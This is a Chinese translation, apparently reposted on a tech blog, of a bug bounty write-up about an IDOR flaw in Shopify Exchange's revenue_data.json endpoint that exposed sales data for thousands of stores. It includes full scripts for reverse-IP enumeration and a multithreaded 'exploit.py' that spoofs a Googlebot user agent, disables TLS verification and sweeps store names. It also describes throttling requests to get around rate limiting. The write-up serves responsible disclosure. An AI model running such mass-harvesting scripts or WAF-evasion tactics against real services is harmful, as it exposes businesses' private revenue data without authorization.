我是如何获得数千家Shopify商店的收入情况和流量数据?

2019-04-21 约 3295 字 预计阅读 7 分钟

声明:本文 【我是如何获得数千家Shopify商店的收入情况和流量数据?】 由作者 wing 于 2019-04-21 09:57:00 首发 先知社区 曾经 浏览数 2 次

感谢 wing 的辛苦付出!

简介

大约一年前的时候,我测试过Shopify,从那个时候起,我就写了个脚本监控他家的资产,主要是跟踪新的api以及url。几个月之后我收到一个新的通知:

> /shops/REDACTED/traffic_data.json
> /shops/REDACTED/revenue_data.json

老实说,我没有那么时间去检查那么多的资产,每次有新的提醒,我就花几个小时看看,主要还是靠自动化。

回到话题

这意味着最后一个api已经从子域中删除,这是一个不错的提醒,让我想深入了解发生了什么事情,并调查它被删除的原因。

目标极有可能存在漏洞

经过排查,REDACTED是一个商店的名字,REDACTED .myshopify.com是商店的链接,它在https://exchangemarketplace.com/shops/上面进行销售,别名是https://exchange.shopify.com

然后进行测试:

(sample data)
$ curl -s https://exchange.shopify.com/shops/$storeName/revenue_data.json
{"2018–03–01":102.81,"2018–04–01":13246.83,"2018–05–01":29865.84,"2018–06–01":45482.13,"2018–07–01":39927.62,"2018–08–01":25864.51,"2018–09–01":14072.72,"2018–10–01":2072.16,"2018–11–01":13544.78,"2018–12–01":26824.54,"2019–01–01":31570.89,"2019–02–01":18336.71}

明显泄漏了目标的数据,api泄漏的数据应该在内部才可以查看,暴露了商店的数据:

我发现用一个api泄漏了另一家商店的数据,这里可以确定存在IDOR漏洞,也就是不安全的对象引用漏洞,主要是通过更换$storeName的值去拿到数据。

所以,我想测试一下我自己建立的商店是否也会有这个问题。

$ curl -I https://exchangemarketplace.com/shops/$newStore/revenue_data.json
HTTP/2 404
server: nginx/1.15.9
date: Fri, 29 Mar 2019 20:28:18 GMT
content-type: application/json
vary: Accept-Encoding
vary: Accept-Encoding
x-request-id: 106906213c97052838ccaaaa54d8e438

404?

看来没我想的那么简单,证据不充分,说是漏洞肯定要被忽略的,那么只有通过大量的案例来证明我的猜想。

第一个挑战就是我们需要得到一个商店名单。

攻击过程:

  • 建立一个wordlist,来源于storeName.myshopify.com
  • 然后循环/shops/$storeName/revenue_data.json
  • 过滤出有漏洞的域名
  • 分析受影响的商店以找出观察到的行为或漏洞产生的根本原因

得到 da wordlist

第一种方法是根据反查ip,得到所有A类型的DNS记录。
快速查询$storeName.myshopify.com的DNS记录

; <<>> DiG 9.10.6 <<>> REDACTED.myshopify.com
<...>
REDACTED.myshopify.com. 3352 IN CNAME shops.myshopify.com.
shops.myshopify.com. 1091 IN A 23.227.38.64

所以REDACTED.myshopify.com的CNAME指向shops.myshopify.com,本身指向23.227.38.64,幸运的事,没有反向代理waf,我用自己写的一个脚本来查询:

import requests
import json
import sys
import argparse


_strip = ['http://', 'https://', 'www']

G = '\033[92m'
Y = '\033[93m'
R = '\033[91m'
W = '\033[0m'
I = '\033[1;37;40m'


def args():
    parser = argparse.ArgumentParser()
    parser.add_argument('domain')
    return parser.parse_args()


def banner():
    print("""{}
 _____          _____ _____  
|  __ \        |_   _|  __ \ 
| |__) |_____   _| | | |__) |
|  _  // _ \ \ / / | |  ___/ 
| | \ \  __/\ V /| |_| |     
|_|  \_\___| \_/_____|_|   {}

    {} By @_ayoubfathi_{}
    """.format(Y, W, R, W))


#Domain validation

def clean(domain):
    for t in _strip:
        if t in domain:
            print("Usage: python revip.py domain.com")
            sys.exit()
        else:
            pass

# retrieving reverseip domains

def rev(dom):

    # YouGetSignal API Endpoint
    _api = "https://domains.yougetsignal.com/domains.php"

    # POST data
    _data = {'remoteAddress': dom}

    # Request Headers
    _headers = {
        'Host': "domains.yougetsignal.com",
        'Connection': "keep-alive",
                'Cache-Control': "no-cache",
                'Origin': "http://www.yougetsignal.com",
                'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/53.0.2785.143 Chrome/53.0.2785.143 Safari/537.36",
    }

    # Response
    try:
        response = requests.post(
            _api,
            headers=_headers,
            data=_data,
            timeout=7).content
        _json = json.loads(response)

        # parsing domains from response
        # if _json['status'] == 'Fail':
        #print("Daily reverse IP check limit reached")
        # sys.exit(1)
        content = _json['domainArray']
        print(
            "\033[33m\nTotal of domains found: {}\n---------------------------\033[0m\n".format(
                _json['domainCount']))
        for d, u in content:
            print("{}{}{}".format(W, d, W))
    except BaseException:
        print(
            "Usage: python revip.py domain.com\nThere is a problem with {}.".format(dom))


if __name__ == '__main__':
    domain = args().domain
    banner()
    clean(domain)
    rev(domain)

得到差不多1000个url

下面需要验证是否存在漏洞。

测试失败

我新写了一个脚本,主要负责:

  • 将revip.py的输出结果传递给另外一个脚本。
  • 从每个域名里提取类似.myshopify.com的url
  • 提取商店名字
  • 自动化检测
/shops/$storeName/revenue_data.json

expoloit.py

import json
import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import ProcessPoolExecutor
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

_headers = {
    'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}


def myshopify(shops):
    try:
        source = requests.get("https://" + shops).text
        soup = bs.BeautifulSoup(source, 'html.parser')
        scripts = soup.find_all('script')
        for script in scripts:
            if 'window.Shopify.Checkout.apiHost' in script.text:
                index1 = script.text.index('"')
                index2 = script.text.index('myshopify')
                StoreName = script.text[index1 + 1:index2 - 2]
                with open('shops.txt', 'a') as output:
                    output.write(StoreName + "\n")
    except BaseException:
        pass


def almostvuln(StoreName):
    POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(
        StoreName)
    try:
        _Response = requests.get(
            POC_URL,
            headers=_headers,
            verify=False,
            allow_redirects=True)
        if _Response.status_code in [200, 304]:
            vuln_stores.append(StoreName)
            print(StoreName)
        elif _Response.status_code == 404:
            pass
        else:
            print(_Response.status_code)
    except BaseException:
        pass
    return vuln_stores


if __name__ == '__main__':
    try:
        shops = [line.rstrip('\n') for line in open('wordlist.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor:
            executor.map(myshopify, shops)
        vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor1:
            executor1.map(almostvuln, vuln_stores)

    except KeyboardInterrupt:
        print("")

运行后的结果

WTF?

因此,在1000家商店中,我只能识别出四家商店有问题,其中三家在交易市场上市,因此预计他们的销售数据会公开的,一家商店已经被停用了(这么Lucky的吗,嗯?)

因此,我认为这玩意没有任何安全影响,我停止了几周的测试(比较忙),并决定过阵子回来探索更多的可能性并继续挖掘。

一千年以后......

几周之后,我又回到了上面提到的API请求并开始继续研究它。我无法从中获取任何有用的信息,因此我决定采用不同的方法来解决这个问题。

为了获得更多要分析的数据,我们将从1000个商店的测试切换到更大的样本(数千,数百万),下一节将详细介绍新方法。

新的思路

怎么找到所有现有Shopify商店的最佳方式?

我想到的第一件事是扫描互联网,但是当我们有其他数据时,就可以不用这么麻烦。

对于这项特定的研究,我将使用公共的DNS转发数据。使用此方法,我们不需要从给定的域名列表生成商店名称。相反,我们将使用FDNS获取shops.myshopify.com(所有商店的指向)的反向CNAME记录
ps:FDNS就是DNS转发
我使用了一个规格很大的实例然后下载了这项研究所需要的数据。

现在,我们将寻找与shops.myshopify.com匹配的CNAME记录,其中Shopify正在托管他们的商店。

在检查有多少商店可用时,我发现:

完美!

此时,我们已经完成了wordlist,继续使用前面的exploit.py。

Exploit

import json
import requests
import bs4 as bs
from concurrent.futures import ThreadPoolExecutor
from concurrent.futures import ProcessPoolExecutor
try:
    import requests.packages.urllib3
    requests.packages.urllib3.disable_warnings()
except Exception:
    pass

_headers = {
    'User-Agent': 'Googlebot/2.1 (+http://www.google.com/bot.html)',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
}


def myshopify(shops):
    try:
        source = requests.get("https://" + shops).text
        soup = bs.BeautifulSoup(source, 'html.parser')
        scripts = soup.find_all('script')
        for script in scripts:
            if 'window.Shopify.Checkout.apiHost' in script.text:
                index1 = script.text.index('"')
                index2 = script.text.index('myshopify')
                StoreName = script.text[index1 + 1:index2 - 2]
                with open('shops.txt', 'a') as output:
                    output.write(StoreName + "\n")
    except BaseException:
        pass


def almostvuln(StoreName):
    POC_URL = "https://exchangemarketplace.com/shops/{}/revenue_data.json".format(
        StoreName)
    try:
        _Response = requests.get(
            POC_URL,
            headers=_headers,
            verify=False,
            allow_redirects=True)
        if _Response.status_code in [200, 304]:
            vuln_stores.append(StoreName)
            print(StoreName)
        elif _Response.status_code == 404:
            pass
        else:
            print(_Response.status_code)
    except BaseException:
        pass
    return vuln_stores


if __name__ == '__main__':
    try:
        shops = [line.rstrip('\n') for line in open('wordlist.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor:
            executor.map(myshopify, shops)
        vuln_stores = [line.rstrip('\n') for line in open('shops.txt')]
        with ThreadPoolExecutor(max_workers=50) as executor1:
            executor1.map(almostvuln, vuln_stores)

    except KeyboardInterrupt:
        print("")

然后放到VPS上,因为wordlist比较大,我可不想傻傻的等,我也要睡觉的.

大约一个小时试着睡觉......

这个图比较真实...

我放弃了睡觉的想法并立即打开我的电脑,登录到我的vps,我看到的是数以千计的403错误.

我猜测应该是被ban ip了

有WAF.....

不管了,先去睡觉.

然后我又写了一个脚本来测试.

这基本上将800K家商店名称作为输入(stores-exchange.txt),发送到curl请求以检索销售数据,在将数据打印到stdout之前,将使用DAP库在同一个JSON响应中插入商店名称。

这次我们的脚本会很慢,因为你知道bash是单线程的,这是我们可以绕过速率限制策略的唯一方法,我运行脚本并从我的实例中注销...

几天后,我重新登录我的实例检查结果,look:


我们获取了Shopify商家的销售数据,其中包括从2015年到今天每月数千家商店的收入细节。

我们有存在漏洞的商店名单,所以如果我们像查询谁的话,我可以看到他所有的收入细节.

这是Shopify商家从2015年至今的销售数据。

根据CVSS 3.0,这次的发现的得分为7.5-high,这反映了漏洞,客户流量和收入数据的重要性,这其中并不需要任何特权或用户交互来获取信息。

根本原因分析

基于以上数据和几天的研究,我得出的结论是,这是由Shopify Exchange App(现在是由商家主动去使用)引起的,这个应用程序仅在此漏洞出现前几个月才推出。任何安装了Exchange App的商家都会受到这个攻击。

之后,我迅速将所有信息和数据汇总到报告中,提交给Shopify 的bug bounty.

Wing碎碎念:在提交漏洞过程中,这个作者和Shopify 好像有点争执,可能是因为违反了他们的规定,结果是好的就行,渗透道路千万条,安全法规心中记.

最后,感谢Shopify团队,特别感谢Peter Yaworski,非常乐于助人和支持我。我仍然强烈建议他们继续对程序进行安全测试,因为他们处理漏洞报告的速度很快.

原文链接

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now